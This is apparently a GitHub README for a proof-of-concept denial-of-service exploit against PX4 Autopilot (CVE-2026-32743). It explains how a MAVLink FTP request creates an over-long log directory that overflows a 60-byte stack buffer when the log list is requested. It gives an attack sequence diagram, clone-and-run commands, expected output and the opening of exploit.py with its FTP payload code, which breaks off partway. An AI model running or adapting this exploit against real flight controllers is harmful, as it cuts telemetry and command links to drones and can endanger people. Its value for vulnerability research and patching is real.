CVE-2026-32743 - PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)

📜 Description

CVE-2026-32743 is a stack‑based buffer overflow in the MavlinkLogHandler of PX4 Autopilot versions ≤1.17.0-rc2.
The LogEntry.filepath buffer is only 60 bytes, but sscanf() parses log directory paths without a width specifier.

An attacker with MAVLink link access can:

Use MAVLink FTP to create a deeply nested directory (path length > 60 bytes) inside /fs/microsd/log/.
Request the log list via MAV_CMD_REQUEST_LOG_LIST.
The vulnerable MavlinkLogHandler copies the long path into the 60‑byte buffer → stack overflow.
The MAVLink task crashes → loss of telemetry and command capability → persistent Denial of Service (until reboot).

Fixed in: commit 616b25a (added width specifier to sscanf).

🔥 Attack Flow Diagram

sequenceDiagram
    participant Attacker
    participant PX4 as PX4 Flight Controller
    participant SD as SD Card (/fs/microsd/log/)

    Attacker->>PX4: 1. Open MAVLink connection (UDP 14550)
    PX4-->>Attacker: Heartbeat (system/component IDs)
    
    Note over Attacker,PX4: Step 2: Create long directory via MAVLink FTP
    Attacker->>PX4: MAVLink FTP: OpenFile( path = "/fs/microsd/log/" + "A"*70, flags=O_CREAT|O_DIRECTORY )
    PX4->>SD: Create directory (named 70×'A')
    SD-->>PX4: OK
    
    Note over Attacker,PX4: Step 3: Trigger overflow by requesting log list
    Attacker->>PX4: MAV_CMD_REQUEST_LOG_LIST (command 261)
    PX4->>PX4: MavlinkLogHandler::list() reads log directory
    PX4->>PX4: sscanf(path, "%s", LogEntry.filepath)  ← NO width limit!
    Note right of PX4: Buffer overflow: 70 bytes written into 60-byte buffer
    PX4--xAttacker: MAVLink task crashes → no more heartbeats/commands
    Note over Attacker,PX4: ✅ DoS achieved – flight controller unmanageable

⚙️ Prerequisites

Target running PX4 ≤ 1.17.0-rc2 with SD card mounted (logs stored in /fs/microsd/log/).
MAVLink FTP enabled (default on most PX4 builds).
Network access to the flight controller’s MAVLink UDP port (default 14550).
Python 3.6+ with pymavlink installed:
```
pip install pymavlink
```

🚀 Usage

git clone https://github.com/mbanyamer/CVE-2026-32743-PoC
cd CVE-2026-32743-PoC
python3 exploit.py <TARGET_IP> [--port <PORT>]

Argument	Description	Default
`target_ip`	IP address of the flight controller	required
`--port`	MAVLink UDP port	`14550`

Example

python3 exploit.py 192.168.1.10 --port 14550

Expected output (successful DoS):

[*] Connecting to MAVLink target: 192.168.1.10:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!

📄 PoC Code

#!/usr/bin/env python3
# Exploit Title: PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32743
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
#   Affected: Versions 1.17.0-rc2 and below
# Tested on: PX4 v1.17.0-rc2 (Pixhawk)
# Category: DoS
# Platform: Embedded (PX4 Autopilot)
# Exploit Type: Stack-based Buffer Overflow
# CVSS: 7.5 (High)
# CWE: CWE-121
# Description: Creates an overly long directory via MAVLink FTP, then requests log list.
# Fixed in: https://github.com/PX4/PX4-Autopilot/commit/616b25a
# Usage: python3 exploit.py <target_ip> [--port <port>]

print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║                                                                                            ║
║   ██████╗  █████╗ ███╗   ██╗██╗   ██╗ █████╗ ███╗   ███╗███████╗██████╗                     ║
║   ██╔══██╗██╔══██╗████╗  ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗                    ║
║   ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗  ██████╔╝                    ║
║   ██╔══██╗██╔══██║██║╚██╗██║  ╚██╔╝  ██╔══██║██║╚██╔╝██║██╔══╝  ██╔══██╗                    ║
║   ██████╔╝██║  ██║██║ ╚████║   ██║   ██║  ██║██║ ╚═╝ ██║███████╗██║  ██║                    ║
║   ╚═════╝ ╚═╝  ╚═╝╚═╝  ╚═══╝   ╚═╝   ╚═╝  ╚═╝╚═╝     ╚═╝╚══════╝╚═╝  ╚═╝                    ║
║                                                                                            ║
║                         [ b a n y a m e r _ s e c u r i t y ]                              ║
║                                                                                            ║
║                  ▸ Silent Hunter  |  Shadow Presence  |  Digital Intel ◂                  ║
║                                                                                            ║
║   Operator : Mohammed Idrees Banyamer  •  Jordan 🇯🇴                                       ║
║   Handle   : @banyamer_security                                                           ║
║                                                                                            ║
║   Exploit  : CVE-2026-32743                                                               ║
║   Target   : PX4 Autopilot • MAVLink • Log Handler                                         ║
║                                                                                            ║
║   Status   : ACTIVE                                                                       ║
║                                                                                            ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")

import time
import struct
import argparse
from pymavlink import mavutil
from pymavlink.dialects.v20 import common as mavlink2

def send_ftp_command(mav, seq, payload):
    msg = mav.file_transfer_protocol_encode(
        target_system=mav.target_system,
        target_component=mav.target_component,
        payload=payload
    )
    mav.mav.send(msg)

def ftp_create_directory(mav, path):
    O_CREAT = 0x04
    O_DIRECTORY = 0x08
    seq = 1
    path_bytes = path.encode('utf-8') + b'\x00'
    payload = struct.pack('<BBHB', 0, 0, seq, 0) + path_bytes
    send_ftp_command(mav, seq, payload)
    time.sleep(0.5)

CVE-2026-32743-PX4-Autopilot-MavlinkLogHandler-Stack-Buffer-Overflow-DoS-

Most Popular